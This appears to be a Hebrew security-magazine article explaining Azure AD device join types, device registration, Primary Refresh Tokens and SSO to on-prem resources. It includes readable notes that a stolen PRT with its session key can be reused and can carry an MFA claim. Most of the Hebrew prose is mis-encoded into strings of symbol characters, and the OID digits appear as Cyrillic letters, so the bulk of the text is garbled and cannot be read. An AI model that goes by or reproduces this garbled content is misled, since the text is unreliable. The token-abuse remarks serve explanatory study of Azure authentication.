ˤ˞ ˧ˮ˞ ˢˮ˧˟ˬ ˸˞ ˭ˣ˧˰˶ˢ Σˢ˩˧˶˰ˬˣ ˣ˸ˣ˞ Σ˭˩˪ˣ ˧˸ˤ˟ˤ˟ ˸ˣ˰˷ ˞ˣ˶˵˪˟ ˣ˧˪˰ ˭˧˞ ˶ˣ˲˯ ˶ˬ˞ˬ˫˧Φ ˢˤˣ ˫˴˰˟ 

˫ˣ˩˧˯ ˪˷ ˵˪˥(: ˫ 

https://www.digitalwhisper.co.il/files/Zines/0x9A/DW154-2-AzureAccessTokens.pdf
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Azure AD Device Join 

˷˧ ˣˮ˪ ˨˶ˡ ˢ˩ˣ˶˞ ˶ˣ˟˰˪ ˡ˰ ˰˧ˠˮ˷ ˶˟ˡ˪ ˸ˬ˞˟ ˪˰ PRT Σ˫˧˧˸ˮ˧˟ Σ˶˟ˡˮ ˪˰ Azure Joined DevicesΦ 

ˢˬ ˢˤ DeviceΚ 

˭ˣ˩ˮ ˷˧˷ ˣˮ˪ ˟πAD ˦˵˧˧˟ˣ˞ ˫˷˟ Computer Κˤ˞ Device ˢˤ ˫˴˰˟ ˢ˪˧˟˵ˬˢ ˸˧ˮˮ˰ˢ ˣ˪˷Φ ˢ˶˵ˬ˟ ˣˮ˪˷ Σ

Device ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˪˩ ˧ˮ˧ˬ ˫˧˶˟ˡ Σˣˬ˩ ˪˷ˬ˪ΦΦ Φ˭ˣ˲˪˦ Σ˟˷˥ˬ ˳˧˶ˬˢ ˯˵ˣˮ˧˪ Σ˵ˬ x˞ Windows Φˣ˪˧˲˞ˣ Σ

˸˯˲ˡˬΦ ˫˞ ˪˩˸˯ˮ ˵˷ˬˬ˟ ˪˷ AzureAD ύˢˡˣ˵ˮ ˞˶ˣ˵˪Υ ˧ˮ˲˪ ˨˶˰˟ ˢˮ˷ AzureAD ˶˟˰ ˠˮ˧ˡˮ˶˟˧˶ ˞˶˵ˮˣ 

˫ˣ˧˩ Entra ID Σ˧ˮ˞ Σˣˬ˩ ˫˧˟˶ ˫˧˶˵ˣ˥ˢˬ ˢ˪˧ˢ˵˟ Σ˸˷˥˩˸ˬ ˢˤ˪ ˨˧˷ˬ˞ˣ ˞ˣ˶˵˪ x˪ ˶ˬ˞ˬ˟ ˢˤ AzureADόΦ 

˱˧˰ˮ ˦˟ˬ ˵˷ˬˬ˟Υ 

 

 Υ ϐidentities-device-us/entra/identity/devices/manage-https://learn.microsoft.com/enώ 

ˢ˪˥˞ ˵˷ˬˬ Σ˪˟˞ ˨˶ˡˢ ˸˧˸˧ˬ˞ˢ ˪˩˸˯ˢ˪ ˪˰ ˣ˲ˮ˧˞ˢ˧˴ˬ˶ ˟πAzure ˞˧ˢ ˨˶ˡ sπGraphAPI Σˤ˞ ˳˧˶ˮ ˸˞ 

ˢ˸˪˧˞˷ˢ ˢ˞˟ˢΥ 

https://graph.microsoft.com/beta/devices/<DeviceID> 

.˞˟ˢ ˡˣˬ˰˟ ˸ˣ˞˶˪ ˶˷˲˞ ˢ˪˷ ˦˪˲ˢ ˸˞ 

  

https://learn.microsoft.com/en-us/entra/identity/devices/manage-device-identities
https://graph.microsoft.com/beta/devices/%3cDeviceID
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:ˢ˞˶ˮ ˞ˣˢ ˨˩ 

 

˷˧ ˢ˲ ˢ˟˶ˢ ˡˣ˞ˬ ˸ˣˡ˷ Σˢˤˣ ˞˪ ˶ˬ˞ˬ ˪˰ Device Objects ύ˫˞ ˧˩ ˶˟ˣˡˬ ˞˷ˣˮ˟ ˟ˣ˷˥ ˭˧˧ˮ˰ˬˣ ΣόΗˤ˞ ˶˟ˡˮ 

˵˶ ˪˰ ˦˰ˬ ˡˣ˞ˬ ˫ˢˬΦ  

˪˟˞ ˧ˮ˲˪ ˭˩ Σˢ˪˞˷Υ ˣˮ˥ˮ˞ ˫˧˰ˡˣ˧ ˨˧˞ ˫˧˲˧˯ˣˬ ˷ˬ˸˷ˬ ˪πAzure Σˣˮ˥ˮ˞ ˫ˠ ˫˧˰ˡˣ˧ ˢˬ ˸ˣ˰ˬ˷ˬˢ ˪˷ ˢˤπ 

˧˸˲˯ˣˢ ˷ˬ˸˷ˬ Σ˧˸˸ˮ x˪ ˫˷ ˷ˬ˸˷ˬ ˢˬ˯˧˯ ˸ˣ˞˷˶ˢˣ ˸˰˩ˣ ˞ˣˢ ˪ˣ˩˧ ˸ˬ˞˸ˢ˪ ˰ˬ˪˸˩˶ Σ˸˷ˠ˪ 

˫˧˟˞˷ˬ˪ ˰˴˟˪ˣ ˸ˣ˪ˣ˰˲ ˫˞˸ˢ˟ ˸ˣ˞˷˶ˢ˪ ˷˧˷ x˪ Φ 

˪˟˞ ˢˬ˪ ˪ˤ˞ˤ˰˪ ˢ˴˶˞˷ ˱˧˯ˣˢ˪ ˟˷˥ˬ Κ˨˧˞ˣ ˪˪˩˟ ˫˧ˬ˷ˣ˶ ˟˷˥ˬ ˪πAzureΚ ˟πAD Σˣˮ˥ˮ˞ ˫˧˯˧ˮ˩ˬ 

˟˷˥ˬ ˪πDomain ˧ˡ˩ ˪˩ˣˮ˷ ˶˟˥˸ˢ˪ ˣ˧˪˞ ˫˰ ˷ˬ˸˷ˬ ˧ˮ˧˧ˬˣˡ ˸˷ˠ˪ˣ ˫˧˟˞˷ˬ˪ ˭˧˧ˬˣˡ˟ ύ˫ˠˣ ˧ˡ˩ ˪ˢˮ˪ 

˫˸ˣ˞ ˟πGPO Φˢ˲ ˢ˷˰ˮ ˸˞ ˢˤ ˫˰ Intune Φό˧˧˵ˣ˞ Σ˧˪ˣ˞ ˪˩ˣˮ ˪˧˟˵ˢ˪ ˸˞ ˢˤ ˪πAzure Κ˨˧˞ ˨˩˟ ˧ˮ˞˷ 

˸˪ˢˮˬ ˟˷˥ˬ ˧ˤ˧˲ ˟πAzure ˧ˮ˞ ˸ˬ˶ˣ˸ ˷ˬ˸˷ˬ˪ ˧˪˷ύ Κˣ˶˩ˤ˸ Σ˸˪˧ˬ ˥˸˲ˬˢ ˞˧ˢ ˸ˣ˥ˣˮ!ό 
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Join Types 

˧ˡ˩ ˶˧˟˯ˢ˪ ˸˞ ˢ˟ˣ˷˸ˢ ˪˧˥˸ˮ ˢˡ˷ˢˬ ˧˩ˢ ˟ˣ˷˥ Ηˢˡ˷ s-trustType ύ˟˶˰˸ˬ ˸˞˪˷ ˫˸˷˥˧ˮ ˢˤ˷ ˧˩ˢ 

˟ˣ˷˥Ηό .ˢˬ ˢˤ ˫˴˰˟ ˶ˬˣ˞ Κ˸ˣ˧˴˲ˣ˞ˢ ˢˡ˷˪ trustType ˭sΥ 

¶ Workplace 

¶ AzureAd 

¶ ServerAd 

˞˪ ˶ˣ˶˟ ˢˬ˪ ˦˲ˣ˯ˣ˶˵˧ˬ ˣ˶˥˟ ˷ˬ˸˷ˢ˪ ˸ˣˬ˷˟ ˢ˪˞ˢ Σ˷˧˷˩ ˫ˢ˪ ˶˟˩ ˸ˣˬ˷ ˫˧˶˥˞ Σˣˮ˥ˮ˞ ˷ˬ˸˷ˮ 

˸ˣˬ˷˟ ˫˧˶˥˞ˢ ˢ˟˶ˢˣ ˶˸ˣ˧ ˫˧˟˧˦˵˧ˡˮ˧˞Υ 

¶ Workplace = Registered 

¶ AzureAd = Joined 

¶ ServerAd = Hybrid Joined 

ˣ˧˷˩˰ ˟˶ˢ s˶˸ˣ˧ x˦ ,˟ˢˮˢ ˶˟˯ˢ ˪˰ ˪˩ ˡ˥˞ ˫˧ˠˣ˯ˬ ˫˧˧˶˷˲˞ˢ ˫ˣ˷˶˪ Device ˟-AzureΥ 

¶ Registered π ˟˧˩˶ ˨˶ˡ˟˷ ˪˪˩ ˨˧˧˷ ˨˪ ˭˲ˣ˞˟ ˧˷˧˞ Σˣˬ˩ ˪˷ˬ˪ ˲ˣ˦˲˪ˢ ˧˷˧˞ˢ ˨˪˷ x˞ ˭ˣ˲˪˦ˢ ˨˪˷ Φ

ˢˬ ˞˶˵ˮ˷ ˣˮ˧ˬ˧˟ BYOD - Bring Your Own Device Φ 

 

¶ Joined π ˢ˲ ˶˟ˣˡˬ ˪˰ ˟˧˩˶ ˨˧˧˷˷ ˭ˣˠ˶˞˪ ˨˪˷ Σˣˬ˩ ˬ˪˪˷ ˲ˣ˦˲˪ˢ ˸˪˟˧˵˷ ˢˡˣ˟˰ˢˬ Φ˟˧˩˶ ˢˤ˩ 

ˢ˧ˢ˧ ˪ˢˣˮˬ ˵˶ ˟πAzureADΦ 

 

¶ Hybrid Joined π ˥ˮˣˬˢ Hybrid ˱ˡˣ˶ ˣˮ˸ˣ˞ ˶˟˩ ˢ˲ˣ˵˸ Σ˶˟˯ˢˢ ˶˟ˡ˪ ˢˤˢ ˞ˣˢ ˟ˣ˶˷ ˫˧ˮˣˠ˶˞ˢ 

ˣ˪˧˥˸ˢ ˫˰ On-Prem AD Σˤ˞ˣ ˰˧ˠˢ ˭ˮ˰ˢ Σ˪˟˞ ˶˟˰ˬ ˬ-On-Prem ˭ˮ˰˪ ˦˪˥ˣˬ ˞ˣˢ ˞˪ ˨˩ ˪˩ ˦ˣ˷˲ 

˫˧ˬ˰˲˪ˣ ˞˪ ˧˶˷˲˞ Φˤ˞ ˢ˟˶ˢ ˡˣ˞ˬ ˸ˣ˶˟˥ ˸ˣ˶˴ˣ˧ ˸ˣ˟˧˟˯ ˶˟˧ˢ˧˸ˣ˧ˡ Σ˭ˢ˟ ˫˴˰˟ ˫˧˧˵ ˷ˬ˸˷ˬ ˫ˠ 

˭ˮ˰˟ ˫ˠˣ ˟-ADΦ 

ˤ˞ ˫˞ ˷˧ ˧˪ NAS ˫˰ ˰ˡ˧ˬ ˟ˣ˷˥ ˟πOn-Prem x˞ ˣˤ˧˞ ˢ˧˴˵˧˪˲˞ ˫˧˸ˬ˞˸ˬ˷ ˢ˧˪˞ ˫˰ Kerberos ˧ˮ˞ ˭˧˧ˡ˰ 

˪˩ˣ˞ ˸˷ˠ˪ ˫ˢ˧˪˞ Σ˪˟˞ ˪˧˟˵ˬ˟ ˧ˮ˞ ˪˩ˣ˞ ˫ˠ ˡˣ˟˰˪ ˪ˣˬ sπCosmos DB ˟πAzure ˫˰ ˷ˬ˸˷ˬˢ ˧ˮˮ˰ˢ ˧˪˷Φ 

˧ˡ˩ ˪˧˪˵ˢ˪ ˸˞ ˪˩ ˭˧˧ˮ˰ˢ Σˢ˲˧˞˷ˢ ˞˧ˢ ˷ˬ˸˷ˬˢ˷ ˧ˮˮ˰ˢ sxπOn-Premπ˧ ˧˪˷ ˣ˧ˢ˧ ˣ˸ˣ˞ ˷ˬ˸˷ˬˢ Σ˭˩˪ˣ 

˫˧ˮ˶˩ˮ˯ˬ ˸˞ ˸˟˧˟˯ sπAD ˪πAzureAD ˫˧˶˴ˣ˧ˣ ˢˬ ˞˶˵ˮ˷ ˢ˟˧˟˯ ˸˧ˡ˧˶˟˧ˢΦ 

˪˩ ˞˷ˣˮ ˭ˣ˶˩ˮ˯ˢ ˞ˣˢ ˸˶ˡ˯ ˫˧˶ˬ˞ˬ ˨˶ˣ˞˟ ˸ˣ˪ˠˢ ˧ˮ˲˟ ˢˬ˴˰ ˤ˞ ˣ˴˪˞˸ ˵˲˸˯ˢ˪ ˶˟˯ˢ˟ ˢˤˢ, ˤ˞ 

Hybrid Join ˞ˣˢ ˫˴˰˟ ˟˴ˬ x˟ ˣˮ˶˩ˮ˯ ˸˞ s-Computer ˣˮ˪˷ ˢˬ-AD ˪πAzureADΦ 
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PRT 

˶ˬ˞ˬ˟ ˢˤˢ ˶˟ˡˮ ˪˰ Deviceπ˫˧ ˠˣ˯ˬ Join xπHybrid Join ˭˩˷ ˵˶ ˫˧ˠˣ˯˪ ˣ˪˞ˢ ˭˸˧ˮ ˵˧˲ˮˢ˪ PRTΦ ˣ˞ˣ˟ 

˪˧˥˸ˮ ˢ˶ˡˠˢ˟ ˢ˷˟˧ ˶˷˧ˢ ˢ˧˴˦ˮˬˣ˵ˣˡˢˬ ˪˷ MicrosoftΥ 

A Primary Refresh Token (PRT) is a key artifact of Azure AD authentication on Windows 10, iOS, 

and Android devices. It is a JSON Web Token (JWT) specially issued to Microsoft first party token 

brokers to enable single sign-on (SSO) across the applications used on those devices. 

ˣ˧˷˩˰ˣ ˶˟˯ˢ˪ ˧˸˧ˬ˞Υ ˢ˶˦ˬˢ ˪˷ PRT ˞˧ˢ ˸ˣ˧ˢ˪ Token ˶˷ˣ˵˷ ˭˧˟ User ˪πDevice ˶˷˲˞ˬˣ ˸˷˧ˠ SSO 

˫˧˟˞˷ˬ˪ ˟πAzureΦ 

˫˴˰˟ Σ˧ˡ˩ ˸ˣ˧ˢ˪ ˫˧˞˩ˤ ˪πPRT ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˫ˠ ˷ˬ˸˷ˬ ˟πAzure Σ˫ˠˣ ˸ˣ˧ˢ˪ ˸˧ˤ˧˲ ˪˰ Device ˞ˣˢ˷ 

Azure Joined x˞ Azure Hybrid JoinedΦ 

 ,ˢ˪˪˞˧˫˧˴˪ˬ˯ˬ! 

˧ˮ˲˪ ˪ˣ˪˴ˮ˷ ˫˧˶˟˯ˢ˪ Σˣ˞ˣ˟ ˳˪ˬ˯ˮΦ ˤ˞ ˶˟ˡ ˭ˣ˷˞˶ ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˶ˣ˴˧˪ Device ˞ˣˢ˷ JoinedΦ ˧ˡ˩ ˸ˣ˷˰˪ 

˸˞ˤ ˨˪ˮ ˪πAccess Work Or School Account ˸ˣ˶ˡˠˢ˟ ˟˷˥ˬˢΥ 

 

˶˥˟ˮ ˟-Join this device to Azure Active DirectoryΦ ˶˥˞˪ ˭˩ˬ ˨˶˦˴ˮ ˯˧ˮ˩ˢ˪ ˫˷ ˷ˬ˸˷ˬ ˢˬ˯˧˯ˣ ˪˷ 

˷ˬ˸˷ˬ Azureπ˧Φ ˣˢˤˣ Σˣˮ˲˶˧˴ ˸˞ ˟˷˥ˬˢ ˣˮ˪˷ ˪πAzureΗ  
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˪˩ˣˮ ˵ˣˡ˟˪ ˪˩ ˧ˮ˧ˬ ˫˧˶˟ˡ ˫˧˟ˣ˷˥ ˰ˣ˴˧˟˟ ˢˡˣ˵˲ˢ dsregcmd /statusΥ 

 

 

ˡ˥˞ ˫˧˶˟ˡˢ ˶˸ˣ˧ˢ ˫˧ˮ˧˧ˮ˰ˬ ˭˞˩ ˞ˣˢ AzureAdPrt Φˢ˞˶ˮ ˣˮˠ˷ˢ˷ ˡ˥˞ Η˪˟˞ ˨˧˞Κ )ˤˬ˶Υ ˫˰ ˢˤ˧˞ 

˷ˬ˸˷ˬ ˧˸˶˟˥˸ˢ ˟˷˥ˬ˪ ˢˤˢ ˶˥˞˪ ˧˸˲˶˴˷ ˣ˸ˣ˞ ˪πAzureADΚό 

 

Device Registration Process 

 ˸ˣˮ˰˪ ˸ˮˬ ˪˰ ˣˮ˧˪˰ ,ˣˤˢ ˢ˪˞˷ˢ ˪˰˭˧˟ˢ˪ ˢˬ ˢ˶ˣ˵ ˶˷˞˩ ˫˧˲˶˴ˬ ˟˷˥ˬ ˪πAzureADΦ ˤ˞ ˢˮˢ sπFlow 

ˡˣ˞ˬˢ ˶˴ˣ˵ˬΥ  

¶ ˸˪˧˥˸˟ ˨˧˪ˢ˸ˢ ˟˷˥ˬˢ ˣˮ˪˷ ˶˴˧˧ˬ ˧ˮ˷ ˫˧ˡˬ˴ ˪˷ ˸ˣ˥˸˲ˬ: 

Transport Key (tkpub/tkpriv) 

Device Key (dkpub/dkpriv) 

 ˷˧ˣ ˢˡ˧ˬ˟TPM ˨˷ˬˢ˟ ˢˤ˪ ˰˧ˠˮ ..˞˪ˣ ˢˡ˧ˬ˟ ,˫˷ ˫˸ˣ˞ ˭˯˥˞˧ ˞ˣˢ ˧ ˫˞˧ ˪˰ ˦˶˲˪ ˥ˣ˩ ˧˪ ˶˞˷

ˣˤˢ ˢ˲˵˸ˬˢ J 
 

¶ ˸ˣ˰˴ˬ˞˟ sπDevice key ˢˢˤˮ ˭˟ˣˬ˩ ˸˞ sπDevice Σ˸ˣ˰˴ˬ˞˟ˣ sπTransport Key ˥ˮ˰˲ˮ ˸˞ sπ

SessionKey ˶˷˞˩ ˷˵˟ˮ PRT ˶˥ˣ˞ˬ ˶˸ˣ˧ ύˢ˲ˣˢ - ˪˩ˢ ˶˟˥˸ˬόΗ 
 

¶ ˟˷˥ˬˢ ˶˴ˣ˧ CSR - Certificate Signing Request ˶ˣ˟˰ sπDevice Key ˥˪ˣ˷ˣ ˢ˸ˣ˞ ˪DRS - Device-

Registration ServiceΦ 
 

¶ ˸ˣ˰˴ˬ˞˟ ˫˷ ˷ˬ˸˷ˬˢ ˢˬ˯˧˯ˢˣ sπAzureπ˫˧ ˣˮ˯ˮ˩ˢ˷ ˸˰˟ ˸ˬ˧˷˶ sπDevice Σˣˮ˥ˮ˞ ˫˧˰˴˟ˬ 

˸ˣ˸ˬ˞˸ˢ ˫˧˪˟˵ˬˣ Access Token ˪πDRS ˧ˡ˩ ˫ˣ˷˶˪ ˸˞ sπDevice Φ˟˪˷˟ ˢˤ AzureAD ˶˴ˣ˧ ˣˬ˴˰˪ 

˸˞ ˦˵˧˧˟ˣ˞ sπDevice Σ˫˸ˣ˥ ˪˰ ˢˡˣ˰˸ˢ ˶˧ˤ˥ˬˣ ˢ˸ˣ˞ ˟˷˥ˬ˪ ˣˮ˪˷Φ 
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¶ s˟˷˥ˬ ˭˯˥˞ˬ ˢ˸ˣ˞ ˟πPersonal Certificate StoreΦ ˢˮˢ ˪˷ˬ˪ ˢˡˣ˰˸ ˪˷ ˟˷˥ˬ ˞ˣˢ˷ Azure 

JoinedΥ 

 

ˢˡ˷ˢ] Issued to ˞ˣˢ ˫˴˰˟ sπDevice Id ˪˷ ˟˷˥ˬˢ ˣˮ˪˷ ˟πAzure Φ˪˩ˣˮˣ ˷ˬ˸˷ˢ˪ ˢˤ˟ ˧ˡ˩ ˰˴˟˪ ˢ˧˴˪˶ˣ˵ ˭˧˟ ˟˷˥ˬˢ ˧ˤ˧˲ˢ ˢˤˢ ˪π

Device ˣˮˬ˷˶˷ ˪πAzure Σ˪˰ˣ˲˟ ˰ˡ˧ˬˢ ˞˴ˬˮ ˟-OID ˞˟ˢΥ мΦнΦуплΦмморрсΦмΦрΦнупΦнώ 

˸ˮˬ ˪˰ ˸˰ˡ˪ ˢˬ ˢˡˣ˰˸ˢ ˢˮˣ˩ˮˢ Σ˪˩ˣˮ ˞ˣ˴ˬ˪ ˸˞ sπThumbprint ˢ˪˷ ˟πRegistry ˸˥˸ ˨˶˰ˢ ˞˟ˢΥ 

Computer\ HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet \ Control \ CloudDomainJoin \ JoinInfo \ <

Thumbprint > 

ˢ ˸˞ ˸˶˞˸ˬ˷ ˢˮˣˬ˸ ˢˮˢ-CSR: 
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SSO 

˧˧˵ˣ˞ Σˤ˞ sˣˮ˟ ˨˧˞ ˫˧ˬ˷ˣ˶ Device ˪πAzureAD Σˢˬ ˢ˶ˣ˵ ˣ˧˷˩˰Κ ˨˩˟ ˣˮˬ˷˶˷ ˸˞ sDevice- Σˣˮ˥˸˲ 

ˣˮ˧ˮ˲˟ ˫˪ˣ˰ ˷ˡ˥  Σ˫˪ˣ˰ˢ ˪˷ SSOΦ ˭˧ ˟ ˭ˣˬˢ ˫˧˶˟ˡ ˣ˶˵˷ Σ˶˴ˣˮ ˣˮ˪ Admin ˧ˬˣ˵ˬ ˷ˡ˥ ˪˰ ˢˡˬ˰ˢ π ˞˪ˢ 

˞ˣˢ Σ˷ˬ˸˷ˬˢ ˧ˮˮ˰ˢ ˣ˸˧˞ ˣˮˬ˷˶ ˸˞ sπDeviceΦ 

 

˪˩ˣˮ ˸ˣˢˤ˪ ˫˸ˣ˞ ˨˩˟ ˫ˢ˷ ˫˧˪˧˥˸ˬ ˟πAzureADΦ ˧˲˩ ˧˸˶˞˧˸˷ ˸˪˧˥˸˟ ˶ˬ˞ˬˢ Σ˪˰ ˸ˮˬ ˠ˧˷ˢ˪ PRT 

ύ˭˲ˣ˞˟ˣ ˧˪˪˩ ˸ˣ˰ˬ˷ˬˢ ˪˷ PRT ό˞˧ˢ ˶ˣ˷˵˪ ˷ˬ˸˷ˬ ˪πDevice Φˤ˞ ˢˮˢ ˷ˬ˸˷ˬˢ ˣˮ˪˷ Σˢˮˢˣ sπDevice 

ˣˮ˪˷ Σ˰ˬ˷ˬ π ˷˧ ˣˮ˪ ˸˞ ˪˩ ˢˬ ˨˧˶˴˷Η 

˶˟˥˸ˮ ˟˷˥ˬ˪ ˫˰ ˷ˬ˸˷ˬˢ ˧˪˞˵ˣ˪ˢκ˧ˮˮ˰ ˣˮ˪˷ Φ˭˩ ˭˩ Σ˸ˣ˸ˬ˞˸ˢ ˢ˪˧ˠ˶ ΣSignIn ˟˷˥ˬ˪ ˣˮ˪˷ Σ

˴ˬ˞˟˸ˣ˰ ˷ˬ˸˷ˬˢ ˣˮ˪˷ ˟πAzure Φ˸ˣ˶˟˥˸ˢˢ ˣˤˢ ˸˶˴ˣ˧ ˰ˣ˶˧˞ ˡˣ˞ˬ ˭˧˧ˮ˰ˬΥ 

 

˶˧˟˯ˮ ˸˞ ˫˧˟˪˷ˢ ˫˧˷˶˸˟Υ 

¶ ˷ˬ˸˷ˬˢ ˯˧ˮ˩ˬ ˫˷ ˷ˬ˸˷ˬ ˢˬ˯˧˯ˣ ˵˷ˬˬ˟ sπLogon ˷ˬˬ ˧˲˩ ˣˮ˥ˮ˞˷ ˫˧˶˧˩ˬ ˣ˸ˣ˞ ύLogonUIό 

¶ ˧˦˶˲ ˸ˣˢˡˤˢˢ ˫˧˶˟ˣ˰ ˪-LSASS ˨ˣ˸˪ sπCloudAP plugin 

¶ CloudAP ˭˰ˣ˦ ˸˞ ˢˡˣ˰˸ˢ ˪˷ sπDevice ˢ˷ˣˮˠ˷ ˨˧˪ˢ˸˟ sπDevice Registration 

¶ CloudAP ˷˵˟ˬ ˸ˤˣ˶˥ˬ ˸˧˪ˬˣˡˮ˶ ˬπAzureAD 
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¶ CloudAP ˟˧˩˶ˬ ˥˪ˣ˷ˣ ˸˞ ˸˷˵˟ ˸ˣ˸ˬ˞˸ˢˢ ˢ˪˧˩ˬ˷ ˸˞ ˫˧˦˶˲ˢ ˪˰ sπUser ˸ˬ˸ˣ˥ˣ ˣ˸ˣ˞ ˫˰ 

Device key ύ dkprivό 

¶ AzureAD ˶˧ˤ˥ˬ PRT ˫ˠˣ SessionKey ˭˲˴ˣˬ˷ ˸ˣ˰˴ˬ˞˟ tkpub ύsπSession key ˞˴ˬˮ ˫ˠ ˨ˣ˸˟ s-

PRT ˫ˠˣ ˥˪˷ˮ ˡ˶˲ˮ˟ Σˢ˞˶ˮ ˸˞ ˢˤ ˫ˠ ˨˷ˬˢ˟ό 

¶ CloudAP ˭˯˥˞ˬ ˸˞ sπPRT ˸˞ˣ sπSessionKey ˶˥˞˪ ˞ˣˢ˷ ˥ˮ˰˲ˬ ˣ˸ˣ˞ 

 ,˟ˠ˞˫˧˶˟ˡ ˫˧ˡ˟ˣ˰ ˦˰ˬ ˸˶˥˞ ˢˡ˧ˬ˟ ˷˧ˣ TPM ύ˪˷ˬ˪ Σ˧ˬ ˭˯˥˞ˬ˷ ˸˞ s-tkpriv ˢ˶˵ˬ˟ ˢˤ ˞ˣˢ sπTPM 

ˤ˞ CloudAP ˷˵˟ˬ ˣˮˬˬ ˥ˮ˰˲˪ ˸˞ sπSession key ˞˪ˣ ˥ˮ˰˲ˬ ˣ˸ˣ˞ ˰˴ˬ˞˟˸ˣ DPAPIΦό 

 

π˟PRT ˣˮ˥ˮ˞ ˫˴˰˟ ˫˧˷ˬ˸˷ˬ ˣˬ˩ TGT Σˣ˸ˣ˰˴ˬ˞˟ˣ ˫˧˷˵˟ˬ Access Token xπReferesh Token 

˫˧˟˞˷ˬ˪ ˫˧ˮˣ˷ˢΦ ˸˰˩ Σˢˡ˧ˬ˟ ˥˸˲˞ˣ ˸˞ ˭˲ˡ˲ˡˢ ˧˪˷ Σ˯ˮ˩˞ˣ ˪πAzure Portal Σ˞˪ ˨˶˦˴˞ ˯˧ˮ˩ˢ˪ ˫˷ 

˷ˬ˸˷ˬ ˢˬ˯˧˯ˣ Σ˞˪˞ ˶˷˧ ˢ˧ˢ˞ ˸˶˟ˣ˥ˬ ˷ˬ˸˷ˬ˪ ˧ˮˮ˰ˢ ˧˪˷ Σˢˤˣ ˧˧˸ˣ˟˶ - SSOΗ 

¶ s-PRT ˱˵˸ ˪-мп ˫ˣ˧ ˞ˣˢˣ ˨˧˷ˬˬ ˷ˡ˥˸ˢ˪ ˪˩ ˡˣ˰ ˫˧˩˧˷ˬˬ ˷ˬ˸˷ˢ˪ x˟ ˧ˡ˩ ˵˧˲ˮˢ˪ Tokenπ˫˧ 

¶ ˫˞ ˷˧ ˨˪ MFA Σ-sPRT ˪˧˩ˬ ˫ˠ ˸˞ s-MFA claim ύˢˬ ˶ˬˣ˞˷ ˫˞˷ ˸˟ˮˠ PRT ˸˧˷˰ ˫ˠ MFA 

Bypassό 

¶ s-PRT ˞ˣˢ ˞˪ ˡˣ˯ Σ˞ˣˢ ˞˪ ˢˣˣ˷ ˫ˣ˪˩ ˞˪˪ sπSession key ύ˸˴˵ ˣˬ˩ TGT Φό˫ˣ˷ˬ ˫˞˷ ˭˧˞ Session 

key ˧˞ ˶˷˲˞ ˫ˣ˸˥˪ ˸˞ ˸˶ˣ˷˵˸ˢ ˭˩˪ˣ ˭˧˞ ˢ˟ ˸˪˰ˣ˸ 

 

SSO from Azure to On-Prem 

˧ˮ˲˪ ˳ˣ˲˵ˮ˷ ˢ˞˪ˢ Σ˲ ˢˮ˧ˢ˴˧ ˶ˡˣ˞ˬ ˡˬ˥ˮ ˟˧˥˶˞˷ ˣ˧˪˰ Σ˞ˣˢ SSOΦ ˫˸˞ ˥˦˟ ˫˧˪˞ˣ˷ ˸˞ ˫˩ˬ˴˰ Σ˞˪ 

ˣˮ˶˟˧ˡ ˡ˰ ˣ˧˷˩˰ ˪˰ SSO Κˤ˞ ˢ˟ˣ˷˸ˢ ˞˧ˢ ˭˩ Φ˪˟˞ Η˸˰˩ ˧ˮ˞ ˶˟ˡ˞ ˪˰ SSO ˬ-Azureπ ˪-On-Premπ ˞˪ˣ ˬ-

On-Premπ ˪πAzure Φ 

ˢˬ ˷˧˥˶˸ˢ ˭˞˩ Κ˥˧ˮˮ ˷˧˷ ˣˮ˪ ˷ˬ˸˷ˬ ˧ˡ˧˶˟˧ˢ ύ˫˧˧˵ ˫ˠ ˟-AD ˫ˠˣ ˟-Azure Σό˷˧ˣ ˣˮ˪ ˟˷˥ˬ ˞ˣˢ˷ 

Azure Joined ύ˪˟˞ ˞ˣˢ ˞˪ ˭˧˧ˬˣˡ˟Φό )˶˸ˣ˧ˬ ˭˧˧˴˪ ˶˟ˣˡˬ˷ ˷˧˥˶˸˟ ˪˷ ˢ˟˧˟˯ ˸˧ˡ˧˶˟˧ˢ ˡ˟˪˟ Σ˭˩˷ ˧ˮ˞ 

˸˟˧˧˥ ˷ˬ˸˷ˬ ˞˴ˬˮ˷ ˟πActive Directory DomainόΦ ˧ˮ˞ ˸˶˟ˣ˥ˬ ˰ ˫˷ˬ˸˷ˬˢ ˧ˡ˧˶˟˧ˢˢ ˧˪˷ ˟˷˥ˬ˪ 

ˢˤˢ Σ˰ˬ˷ˬ - ˧˸˪˟˧˵ PRTΦ 

˪˟˞ ˢˬ ˫˞ ˧ˮ˞ ˢ˴ˣ˶ ˸˷ˠ˪ ˪-NAS s-On-Premπ˧ ˧˪˷ ˧ˡ˩ ˞˧˟ˢ˪ ˳˟ˣ˵ ˷ˬˬ ˟ˣ˷˥ Κ˟˷˥ˬˢ ˧˪˷ ˞˪ 

˭˧˧ˬˣˡ˟ Σˤ˞ ˸˧ˮ˩˦ Σ˧ˮ˞ ˞˪ ˢ˶ˣˬ˞ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧ ˸ˣ˷˰˪ ˸˞ ˢˤ ύ˭˟ˣˬ˩ ˫˰˷ SMBExec ˣ˩ˣ ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˪˟˞ 

˧ˮ˞ ˸˶˟ˡˬ ˪˰ ˷˧˥˶˸ x˟ ˮ˞ ˧˞˪ ˱˵ˣ˸Φό ˤ˞ ˷˧ ˢˤ˪ ˭ˣ˶˸˲ Η˫˴˰˟ ˢˬ ˢ˶ˣ˵˷ Σˢˤ ˡˬ˰ˬ˟˷ ˸˪˟˵ s-PRT Σ

˟˷˥ˬˢ ˣˮ˪˷ ˪˟˵ˬ ˡˣ˰ ˢˬ˩ ˫˧˦˶˲ ˫˧˷˟˧ ˪˰ ˭˧˧ˬˣˡˢ ˪˷ ˷ˬ˸˷ˬˢ ύSamAccountName Σ

netBiodDomainName xπdnsDomaonNameΦό 
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-sLSA ˷ˬ˸˷ˬ ˫ˢ˟ ˧ˡ˩ ˶˸˞˪ ˸˞ s-DC ˰˴˟˪ˣ ˸ˣ˸ˬ˞˸ˢ ˶ˣ˟˰ ˷ˬ˸˷ˬˢ Σ˨˩ˣ ˷ˬ˸˷ˬˢ ˪ˣ˩˧ ˸˷ˠ˪ 

˫˧˟˞˷ˬ˪ ˭˧˧ˬˣˡ˟ ˸ˣ˶ˬ˪ ˞ˣˢ˷ ˪˰ ˟˷˥ˬ ˞˪˷ ˨˧˧˷ ˭˧˧ˬˣˡ˪ Η 

